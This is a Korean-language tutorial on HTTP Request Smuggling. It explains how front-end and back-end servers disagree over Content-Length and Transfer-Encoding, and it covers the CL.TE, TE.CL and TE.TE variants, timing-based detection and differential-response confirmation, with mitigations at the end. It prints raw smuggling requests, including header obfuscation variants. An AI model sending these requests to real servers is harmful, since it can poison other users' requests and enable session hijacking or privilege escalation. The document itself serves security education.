HTTP Request Smuggling 취약점

01. HTTP Request Smuggling 취약점?

HTTP Request Smuggling(HRS) 취약점은 2005년 발견되었다. Front-end 서버와 Back-end 서버 간의 불일치를 이용해 추가적인 Request를 삽입할 수 있다.

[IMG1] HTTP Request Smuggling

• Front-end : Content-Length 헤더를 우선시
• Back-end : Transfer-Encoding 헤더를 우선시

위와같은 예시 환경에서 야기될 수 있는 보안문제는 권한 상승(Privilege Escalation), 세션 하이재킹(Session Hijacking), 민감한 정보 노출(Critical Info Leak) 등이 있다.

02. HRS의 배경, HTTP Request 헤더

HTTP/1 요청의 끝을 판단하는 방식에는 Content-Length 헤더와 Transfer-Encoding 헤더를 이용한 두 가지 방식이 존재한다. 그리고 대부분의 HRS 취약점 발생의 원인은 여기서 비롯된다.

1) Content-Length

Content-Length 헤더는 HTTP Request의 Body 길이를 바이트 단위로 명시한다. 이를 통해 요청의 끝을 명확하게 정의할 수 있다.

POST /search HTTP/1.1
HOST: kortsec1.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

x=smuggling

2) Transfer-Encoding

Transfer-Encoding 헤더는 요청 본문이 하나 이상의 청크 인코딩된 메세지를 포함할때 사용된다. 각 청크는 청크 메시지의 길이(16진수 형식), 메시지 본문을 포함하고 0을 끝으로 종료됨을 알린다.

POST /search HTTP/1.1
HOST: kortsec1.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

b
x=smuggling
0

위 헤더들을 동시에 사용할 경우 문제가 발생할 수 있다. 물론 이를 막기 위해 하나의 서버인 상태의 경우 Content-Length 헤더가 무시되는 식의 보호책이 발동된다. 하지만 두개 이상의 연결된 서버를 운용할 경우 특히 Transfer-Encoding 헤더를 지원하는 서버와 지원하지 않는 서버가 연결되어 있는 경우 문제가 발생하게 된다.

HTTP/2 end-to-end 을 사용하는 웹 사이트들은 HRS 공격에 면역이 있다. 공격자가 불확실한 정보의 길이를 보내도 HTTP/2의 강력한 단일 메커니즘이 이를 정확하게 처리하기 때문이다. 하지만 수많은 웹사이트들은 HTTP/2 front-end 서버를 두는 동시에 HTTP/1만을 지원하는 back-end 서버를 기반으로 만들어진다. 이는 HTTP downgrading을 이용해 해결 가능하다.

03. HRS 취약 유형

기본적인 HRS 공격은 Content-Length헤더와 Transfer-Encoding헤더를 모두 포함시킨다. 원활한 설명을 위해 지금부터 Content-Length와 Transfer-Encoding을 각각 CL과 TE라고 지칭하겠다. front-end 서버와 back-end 서버의 특징에 따라 다양한 취약 유형이 존재한다.

• CL.TE : front-end 서버가 CL 헤더를 이용하고, back-end 서버가 TE 헤더를 이용할 때
• TE.CL : front-end 서버가 TE 헤더를 이용하고, back-end 서버가 CL 헤더를 이용할 때
• TE.TE : 두 서버 모두 TE 헤더를 지원하지만, 헤더를 특정한 방식으로 조작하여 한 서버가 정상적으로 처리하지 못하게 할 수 있을 때

CL.TE

POST / HTTP/1.1
Host: kortsec1.com
Conent-Length: 10
Transfer-Encoding: chunked

0

KANYE

front-end 서버는 CL을, back-end 서버는 TE를 사용하는 환경에서의 공격이다. front-end 에서는 CL을 통해 “KANYE”까지의 정보를 받아온다. 하지만 back-end에서는 TE 헤더를 통해 0 을 만나며 요청의 끝이라 판단하며 “KANYE”는 남게 된다. 이렇게 남은 데이터는 그 다음 요청이 있는 순간에 읽히게 된다.

TE.CL

POST / HTTP/1.1
Host: kortsec1.com
Content-Length: 3
Transfer-Encoding: chunked

5
KANYE
0

front-end 서버는 TE를, back-end 서버는 CL을 사용하는 환경에서의 공격이다. front-end는 TE에 따라 해당 요청의 데이터를 모두 받아들인다. 5는 본문 “KANYE”의 길이를, 마지막 0은 요청의 종료를 뜻한다. 그리고 마지막 0의 뒤에는 “\r\n\r\n”이 이어서 나와야 한다. 이렇게 전달받은 요청은 back-end 서버에서 변화가 생기는데, CL을 사용하는 back-end 환경에서는 3이라는 값을 토대로 “5\r\n” 만을 받아들인다. “KANYE”등의 나머지 데이터는 back-end 서버에 남게 되고, 이는 다음번 요청의 시작으로 받아들이게 된다.

TE.TE

front-end 서버와 back-end 서버 모두 TE 헤더를 지원하지만, 헤더를 조작하여 이 중 한 서버가 이를 정상적으로 수행하지 못하게 하는 공격 방법이다. 이는 다양한 환경이 가지고있는 특성을 알고 구분하여 진행하기에 필수적으로 환경에 대한 이해가 필요하다.

Transfer-Encoding: xchunked
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
A: A[\n]Transfer-Encoding: chunked
Transfer-Encoding : chunked

04. HRS 취약점 탐지

Timing Techniques

HRS 취약점을 탐지하는 가장 효과적인 방법으로 Timing 기법을 들 수 있다. 취약 애플리케이션에 특정 요청을 보내 지연시간을 발생시키는 방식이다.

• CL.TE 취약점 탐지

POST / HTTP/1.1
Host: kortsec1.com
Transfer-Encoding: chunked
Content-Length: 4

1
A
X

CL.TE 취약점이 존재하는 환경에서 탐지하는 상황이다. front-end 서버는 CL 헤더를 통해 “X”를 제외한 정보만을 받고, back-end 서버는 TE 헤더를 통해 다음 chunk를 기다린다. 이 때 지연시간이 발생하게 되는 것이다.

• TE.CL 취약점 탐지

POST / HTTP/1.1
Host: kortsec1.com
Transfer-Encoding: chunked
Content-Length: 6

0

X

TE.CL 취약점이 존재하는 환경에서의 탐지 상황이다. front-end는 TE 헤더를 통해 0까지의 정보만을 넘긴다. 한편 back-end 에서는 CL 헤더의 값에 따라 6길이의 데이터를 기다리게 된다. 이렇게 지연시간이 발생한다. 위 방법은 다른 사용자에게 영향이 있을 수 있다. 침해를 최소화 하거나 은밀히 탐지하기 위해선 CL.TE를 우선적으로 시행한 후에 테스트하는 것이 좋다.

05. HRS 취약점 Confirming

Differential Responses

취약점의 존재를 확인하였을 때 이를 확실시 하고, 추가적인 정보를 얻기 위해 두 가지의 요청을 보내는 방법이다. 우선 다음 요청에 영향을 주기 위해 짜여진 공격요청을 보낸다. 그 다음 정상적인 요청을 보내, 예상한 반응을 보이는지 확인한다.

POST /search HTTP/1.1
Host: kortsec1.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=kanyewest

위 요청은 두번째로 보낼 정상적인 요청이다. 개별적으로 보낸다면 정상적인 반응을 보이겠지만, 공격요청 이후에 보낸다면 다른 반응이 나타날 것이다. 그리고 이에 때라 CL.TE 나 TE.CL 이 결정된다.

• CL.TE

POST /search HTTP/1.1
Host: kortsec1.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Transfer-Encoding: chunked

e
q=kanyewest&x=
0

GET /404 HTTP/1.1
Foo: x

CL.TE 취약점이 있는 상황의 탐지법이다. 위 공격 요청이 성공적이라면, 마지막 두 줄은 back-end 서버에서 다음 요청의 일부로 취급될 것이다. 그리하여 다음 정상적인 요청을 보내면 아래와 같은 결과가 나온다.

GET /404 HTTP/1.1
Foo: xPOST /search HTTP/1.1
Host: kortsec1.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=kanyewest

• TE.CL

POST /search HTTP/1.1
Host: korsec1.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

71
GET /404 HTTP/1.1
Host: kortsec1.com
Content-type: application/x-www-form-urlencoded
Content-Length: 144

x=
0

TE.CL 취약점이 있는 상황이다. 위 공격 요청을 보내고 나면, front-end 서버는 모든 정보를 보내고 back-end 서버는 CL 헤더에 따라 “GET” 이후의 정보는 다음 요청으로써 받게 된다. 그렇게 정상 요청을 보내면 아래와 같이 보내는 꼴이 되는 것이다.

GET /404 HTTP/1.1
Host: kortsec1.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 146

x=
0

POST /search HTTP/1.1
Host: kortsec1.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=kanyewest

06. 보안

이러한 HRS 취약점을 예방하기 위해선 여러가지 방법이 존재한다.

• HTTP/2 end to end 를 사용하고, HTTP downgrading을 비활성화하는 방법

HTTP/2는 요청의 길이 판단에 있어 강력한 메커니즘을 사용하기 때문에 end to end 사용시 본질적으로 HRS 예방이 가능하다. 하지만 불가피하게 HTTP downgrading 을 피할 수 없다면, 수정된 요청을 HTTP/1.1에서 확실하게 검증할 수 있게 해야한다.

• 분명치 않은 요청에 대한 처리

front-end 서버에서는 불확실한 요청에 대해 정상화 시키고 보내게 한다. back-end 서버에서도 여전히 불확실한 요청에 대해서는 막고 TCP 연결을 닫아야 한다.

• 에러에 대한 확실한 처리

서버 측 exception이 발생한다면 연결을 닫아야 하고, 이는 기본적이지만 방심하기 쉬운 중요한 사항이다.